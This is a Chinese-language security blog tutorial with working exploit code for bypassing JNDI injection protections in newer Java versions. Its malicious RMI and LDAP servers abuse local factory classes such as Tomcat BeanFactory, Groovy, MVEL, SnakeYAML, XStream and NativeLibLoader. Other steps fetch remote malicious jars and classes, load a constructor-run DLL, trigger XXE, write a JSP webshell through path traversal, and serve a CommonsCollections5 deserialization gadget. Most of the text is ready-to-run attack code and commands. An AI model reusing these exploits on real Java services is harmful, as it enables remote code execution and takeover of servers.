0%

JNDIBypass绕过高版本限制

本篇文章所有复现代码均已上传github项目库https://github.com/LtmThink/JNDIBypass

本机的java版本为8u172,所以默认配置导致不能使用常规的加载远程ObjectFactory的方法进行RCE

image-20240309224011989

而绕过这一限制有两种思路:

  1. 利用受害者本地的工厂类实现RCE

  2. 受害者向LDAP或RMI服务器请求Reference类后,将从服务器下载字节流进行反序列化获得Reference对象,此时即可利用反序列化gadget实现RCE

基于本地工厂类的利用方法

javax.management.loading.MLet 探测类是否存在

javax.management.loading.MLet这个类,通过其loadClass方法可以探测目标是否存在某个可利用类(例如java原生反序列化的gadget)

由于javax.management.loading.MLet继承自URLClassLoader,其addURL方法会访问远程服务器,而loadClass方法可以检测目标是否存在某个类,因此可以结合使用,检测某个类是否存在

利用条件:

java内置类通用

利用步骤:
  1. RMI服务端构建

    导入pom.xml依赖

    1
    2
    3
    4
    5
    6
    7
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    </dependencies>

    编写MletServer

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    public class MletServer {
    public static void main(String[] args) throws Exception {
    System.out.println("Creating evil RMI registry on port 1100");
    Registry registry = LocateRegistry.createRegistry(1100);
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");
    ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
    ref.add(new StringRefAddr("a","java.lang.Runtime"));
    ref.add(new StringRefAddr("b","http://127.0.0.1:2333/"));
    ref.add(new StringRefAddr("c","Bitterz"));

    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("melt", referenceWrapper);
    }
    }
  2. python开启webserver

    1
    python -m http.server 2333
  3. 触发JNDI注入

    运行

    1
    2
    3
    String uri = "rmi://127.0.0.1:1100/melt";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);

    返回如果验证的类存在则在远程服务器会留下访问请求(404)

    image-20240310105739409

    否则就没有

    image-20240310105946610

org.apache.naming.factory.BeanFactory

利用条件:
  1. tomcat自带相关包

攻击步骤:
  1. RMI服务器代码

    pom.xml依赖

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
    </dependency>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jasper</artifactId>
    <version>9.0.8</version>
    </dependency>
    </dependencies>

    server端代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    public class TomcatBeanFactoryServer {
    public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(1100);
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");
    // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
    ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

    // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
    ref.add(new StringRefAddr("forceString", "bitterz=eval"));

    // 指定bitterz属性指定其setter方法需要的参数,实际是ElProcessor.eval方法执行的参数,利用表达式执行命令
    ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

    ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
    registry.bind("Exploit", referenceWrapper); // 绑定目录名
    System.out.println("Server Start on 1100...");
    }
    }
  2. 开启RMI服务端后,触发JNDI注入

    1
    2
    3
    4
    5
    public static void main(String[] args) throws NamingException {
    String uri = "rmi://127.0.0.1:1100/Exploit";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);
    }

    image-20240309225755174

groovy.lang.GroovyClassLoader.parseClass

利用条件:
  1. 存在groovy包

攻击步骤:
  1. RMI服务器构建

    pom.xml依赖

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dependencies>
    <dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy</artifactId>
    <version>2.4.3</version>
    </dependency>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    </dependencies>

    server端代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    public class GroovyShellServer {
    public static void main(String[] args) throws Exception {
    System.out.println("Creating evil RMI registry on port 1100");
    Registry registry = LocateRegistry.createRegistry(1100);
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");
    ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    ref.add(new StringRefAddr("forceString", "x=parseClass"));
    String script = "@groovy.transform.ASTTest(value={\n" +
    " assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
    "})\n" +
    "def x\n";
    ref.add(new StringRefAddr("x",script));

    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("evilGroovy", referenceWrapper);
    }
    }
  2. 触发JNDI注入

    运行

    1
    2
    3
    String uri = "rmi://127.0.0.1:1100/evilGroovy";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);

    image-20240310120024039

org.mvel2.sh.ShellSession.exec

利用条件:
  1. 项目存在mvel2包

攻击步骤:
  1. RMI服务器构造

    pom.xml配置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    <dependency>
    <groupId>org.mvel</groupId>
    <artifactId>mvel2</artifactId>
    <version>2.4.12.Final</version>
    </dependency>
    </dependencies>

    server端代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    public class MvelServer {
    public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(1100);
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");
    // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
    ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

    // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
    ref.add(new StringRefAddr("forceString", "a=exec"));
    ref.add(new StringRefAddr("a", "push Runtime.getRuntime().exec('calc');"));


    ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
    registry.bind("mvel", referenceWrapper); // 绑定目录名
    System.out.println("Server Start on 1100...");
    }
    }
  2. 触发JNDI注入

    运行

    1
    2
    3
    String uri = "rmi://127.0.0.1:1100/mvel";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);

    image-20240310115834817

org.yaml.snakeyaml.Yaml

Yaml是做反序列化的,也可以实现RCE,利用点在org.yaml.snakeyaml.Yaml().load(String)

利用条件:
  1. 存在snakeyaml反序列化

攻击步骤:
  1. 构造恶意jar文件yaml-payload.jar(名字随意)

    创建一个恶意类,实现ScriptEngineFactory接口

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    public class File implements ScriptEngineFactory {

    public File() {
    try {
    new java.io.IOException().printStackTrace();
    java.lang.Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
    e.printStackTrace();
    }
    }
    public static void main(String[] args) throws IOException {
    new java.io.IOException().printStackTrace();
    java.lang.Runtime.getRuntime().exec("calc");
    }

    @Override
    public String getEngineName() {
    return null;
    }

    @Override
    public String getEngineVersion() {
    return null;
    }

    @Override
    public List<String> getExtensions() {
    return null;
    }

    @Override
    public List<String> getMimeTypes() {
    return null;
    }

    @Override
    public List<String> getNames() {
    return null;
    }

    @Override
    public String getLanguageName() {
    return null;
    }

    @Override
    public String getLanguageVersion() {
    return null;
    }

    @Override
    public Object getParameter(String key) {
    return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
    return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
    return null;
    }

    @Override
    public String getProgram(String... statements) {
    return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
    return null;
    }
    }

    在resources目录下创建META-INF/services/javax.script.ScriptEngineFactory文件,里面的内容设置为前面的恶意类名

    image-20240318102046262

  2. RMI服务端构造

    pom.xml依赖引入

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    <dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.33</version>
    </dependency>
    </dependencies>

    server端代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    public class YamlServer {
    public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(1100);
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");

    ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    String yaml = "!!javax.script.ScriptEngineManager [\n" +
    " !!java.net.URLClassLoader [[\n" +
    " !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload.jar\"]\n" +
    " ]]\n" +
    "]";
    ref.add(new StringRefAddr("forceString", "a=load"));
    ref.add(new StringRefAddr("a", yaml));

    ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
    registry.bind("yaml", referenceWrapper); // 绑定目录名
    System.out.println("Server Start on 1100...");
    }
    }
  3. python开启webserver,并放置一个恶意jar文件

    image-20240318102443233

  4. 触发JNDI注入

    1
    2
    3
    4
    5
    public static void main(String[] args) throws NamingException {
    String uri = "rmi://127.0.0.1:1100/yaml";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);
    }

image-20240318101604478

com.thoughtworks.xstream.XStream.fromXML

JNDI结合xstream的反序列化漏洞

利用条件:
  1. 相应版本的xstream存在反序列化漏洞

攻击步骤:

以xstream1.4.6为例,该版本存在以下POC

1
2
3
4
5
6
7
8
9
10
11
12
13
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
  1. RMI服务器构造

    pom.xml依赖引入

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    <dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.6</version>
    </dependency>
    </dependencies>

    server端代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
    Registry registry = LocateRegistry.createRegistry(1100);
    //攻击主机的公网ip
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");

    ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
    true, "org.apache.naming.factory.BeanFactory", null);
    String xml = "<sorted-set>\n"+
    "<dynamic-proxy>\n"+
    "<interface>java.lang.Comparable</interface>\n"+
    "<handler class='java.beans.EventHandler'>\n"+
    "<target class='java.lang.ProcessBuilder'>\n"+
    "<command>\n"+
    "<string>calc</string>\n"+
    "</command>\n"+
    "</target>\n"+
    "<action>start</action>\n"+
    "</handler>\n"+
    "</dynamic-proxy>\n"+
    "</sorted-set>\n";
    ref.add(new StringRefAddr("forceString", "a=fromXML"));
    ref.add(new StringRefAddr("a", xml));

    ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
    registry.bind("FromXML", referenceWrapper);
    System.out.println("RMI Server start on 1100");
    }
  2. 触发JNDI注入

    运行

    1
    2
    3
    String uri = "rmi://127.0.0.1:1100/FromXML";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);

    image-20240310114628140

com.sun.glass.utils.NativeLibLoader

其是JDK内置的动态链接库加载工具类,可以被JNDI注入利用加载恶意dll来执行任意代码

利用条件:
  1. 被攻击服务器存在可以被利用的.dll或者.so文件在攻击者可控制的路径下

攻击步骤:
  1. 制作.dll或者.so

    编写c++文件

    1
    2
    3
    4
    5
    6
    #include <stdio.h>

    void __attribute__ ((constructor)) my_init_so()
    {
    FILE *fd = popen("calc", "r");
    }

    使用以下指令编译一个dll文件

    1
    gcc -m64 .\libcmd.cpp -fPIC --shared -o libcmd.dll
  2. RMI服务器构造

    pom.xml配置

    1
    2
    3
    4
    5
    6
    7
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    </dependencies>

    server端代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    public class NativeLibLoaderServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
    Registry registry = LocateRegistry.createRegistry(1100);

    System.setProperty("java.rmi.server.hostname", "127.0.0.1");
    ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
    true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
    //不能使用绝对路径,相对路径根据不同的环境修改
    ref.add(new StringRefAddr("a", "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\libcmd"));

    ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
    registry.bind("dllLoader", referenceWrapper);
    System.out.println("RMI Server start on 1100");
    }
    }
  3. 放置dll文件,并触发JNDI注入

    我的java代码运行在D盘,根据..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\libcmd我把libcmd.dll放置在本地的d://libcmd.dll

    image-20240316173427905

    再运行

    1
    2
    3
    String uri = "rmi://47.99.68.209:1100/dllLoader";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);

    即可RCE

    image-20240309224614211

org.apache.catalina.users.MemoryUserDatabaseFactory

XXE利用:
利用条件:
  1. tomcat服务器自带

攻击步骤:
  1. RMI服务端构建

    导入pom.xml依赖

    1
    2
    3
    4
    5
    6
    7
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    </dependencies>

    编写XXEServer

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    public class XXEServer {
    public static void main(String[] args) throws Exception {
    System.out.println("Creating evil RMI registry on port 1100");
    Registry registry = LocateRegistry.createRegistry(1100);
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");

    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true,"org.apache.catalina.users.MemoryUserDatabaseFactory",null);
    ref.add(new StringRefAddr("pathname","http://127.0.0.1:7777/exp.xml"));

    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("xxe", referenceWrapper);
    }
    }
  2. python开启webserver,并放置一个恶意xml文件

    文件内容

    1
    2
    3
    4
    <?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY % romote SYSTEM "http://127.0.0.1:7777/RequestFromXXE"> %romote;]>
    <root/>

    python开启webserver指令

    1
    python -m http.server 7777
  3. 触发JNDI注入

    1
    2
    3
    String uri = "rmi://127.0.0.1:1100/xxe";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);

    成功触发XXE

    image-20240316120133646

任意文件写入利用:
利用条件:
  1. windows下tomcat服务器即可利用

  2. linux下需要有可以写文件夹的本地工厂类,比如org.h2.store.fs.FileUtils

windows下攻击步骤:
  1. RMI服务端构建

    导入pom.xml依赖

    1
    2
    3
    4
    5
    6
    7
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    </dependencies>

    编写UserDataRCE_Server

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    public class UserDataRCE_Server {
    public static void main(String[] args) throws Exception{
    System.out.println("Creating evil RMI registry on port 1100");
    Registry registry = LocateRegistry.createRegistry(1100);
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");

    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
    true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
    ref.add(new StringRefAddr("pathname", "http://127.0.0.1:7777/../../webapps/ROOT/webshell.jsp"));
    ref.add(new StringRefAddr("readonly", "false"));

    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("writeFile", referenceWrapper);
    }
    }

    运行RMI服务器

    image-20240316160347830

  2. 配置要写入的webshell,并开启python webserver

    假设我们要将webshell写入到远程tomcat服务器的webapps/ROOT/webshell.jsp文件里,我们需要先新建一个类似结构

    image-20240316160040681

    webshell.jsp内容

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="UTF-8"?>
    <tomcat-users xmlns="http://tomcat.apache.org/xml"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
    version="1.0">
    <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc&#x22;); %&#x3e;"/>
    </tomcat-users>

    然后在和webapps同级的目录开启python webserver

    1
    python -m http.server 7777

    image-20240316160158353

  3. 模拟的tomcat web的jndi注入漏洞

    再写入JNDI.jsp内容如下

    1
    2
    3
    4
    5
    6
    7
    <%@page pageEncoding="utf-8"%>
    <%@page import="javax.naming.InitialContext"%>
    <%

    InitialContext initialContext = new InitialContext();
    initialContext.lookup("rmi://127.0.0.1:1100/writeFile");
    %>

    image-20240316160545648

开启tomcat后访问http://127.0.0.1:8080/JNDI.jsp触发JNDI漏洞,写入webapps/ROOT/webshell.jsp

image-20240316171039069

==补充:==可以通过这种写入的方式写入tomcat-users.xml在可以访问host-manager的情况下我们可以登录tomcat后台

linux下攻击步骤:

因为在linux下类似aaa/bbb/../../webapps的访问路径需要建立在aaa/bbb目录存在的情况下才能成功。所以linux下我们无法直接写入文件需要先有http:127.0.0.1:7777目录才可以。为解决这个问题我们先要通过JNDI或者其他手段新建目录,类似org.h2.store.fs.FileUtils就可以新建目录。

下面给出相应的RMI服务端代码如下(需要依次触发三次JNDI注入):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class UserDataRCE_Server {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1100");
Registry registry = LocateRegistry.createRegistry(1100);
System.setProperty("java.rmi.server.hostname", "127.0.0.1");

// ===============================1 创建http:/==================================
// ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
// true, "org.apache.naming.factory.BeanFactory", null);
// ref.add(new StringRefAddr("forceString", "a=createDirectory"));
// ref.add(new StringRefAddr("a", "../http:"));

// ===============================2 创建http:/127.0.0.1:7777.1:8888/============
// ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
// true, "org.apache.naming.factory.BeanFactory", null);
// ref.add(new StringRefAddr("forceString", "a=createDirectory"));
// ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));

// ===============================3 写入webshell文件=============================
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:7777/../../webapps/ROOT/webshell.jsp"));
ref.add(new StringRefAddr("readonly", "false"));

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
}
}

基于服务端返回数据流的反序列化RCE

还有一种通过ldap/rmi指定一个恶意FactoryObject下载服务器,让目标访问并下载一段恶意序列化数据,在目标反序列化时触发Java 原生反序列化漏洞进行RCE的思路

利用条件:
  1. 需要存在本地反序列化链

攻击步骤:
  1. LDAP服务器构建

    pom.xml依赖

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <dependencies>
    <dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.2.0</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
    </dependency>

    </dependencies>

    服务器端java代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    package org.example;

    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;

    import javax.management.BadAttributeValueExpException;
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.net.InetAddress;
    import java.net.URL;
    import java.util.HashMap;
    import java.util.Map;


    public class UnserializeLDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) throws Exception{
    String[] args=new String[]{"http://127.0.0.1:8081/#CC5"};
    int port = 4444;

    InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
    config.setListenerConfigs(new InMemoryListenerConfig(
    "listen", //$NON-NLS-1$
    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
    port,
    ServerSocketFactory.getDefault(),
    SocketFactory.getDefault(),
    (SSLSocketFactory) SSLSocketFactory.getDefault()));

    config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
    InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
    System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
    ds.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

    private URL codebase;

    public OperationInterceptor ( URL cb ) {
    this.codebase = cb;
    }

    @Override
    public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
    String base = result.getRequest().getBaseDN();
    Entry e = new Entry(base);
    try {
    sendResult(result, base, e);
    }
    catch ( Exception e1 ) {
    e1.printStackTrace();
    }
    }

    protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
    URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
    System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
    e.addAttribute("javaClassName", "foo");
    String cbstring = this.codebase.toString();
    int refPos = cbstring.indexOf('#');
    if ( refPos > 0 ) {
    cbstring = cbstring.substring(0, refPos);
    }

    //CommonsCollections5()可以换成 Base64.decode("cc5链条序列化加base64的内容")java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'calc'|base64
    e.addAttribute("javaSerializedData",CommonsCollections5());

    result.sendSearchEntry(e);
    result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    }
    }

    private static byte[] CommonsCollections5() throws Exception{
    Transformer[] transformers=new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };

    ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
    Map map=new HashMap();
    Map lazyMap= LazyMap.decorate(map,chainedTransformer);
    TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
    BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
    Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
    field.setAccessible(true);
    field.set(badAttributeValueExpException,tiedMapEntry);

    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

    ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
    objectOutputStream.writeObject(badAttributeValueExpException);
    objectOutputStream.close();

    return byteArrayOutputStream.toByteArray();
    }
    }
  2. 触发JNDI注入

    1
    2
    3
    public static void main(String[] args) throws Exception {
    Object object=new InitialContext().lookup("ldap://127.0.0.1:4444/dc=example,dc=com");
    }

image-20240318094445754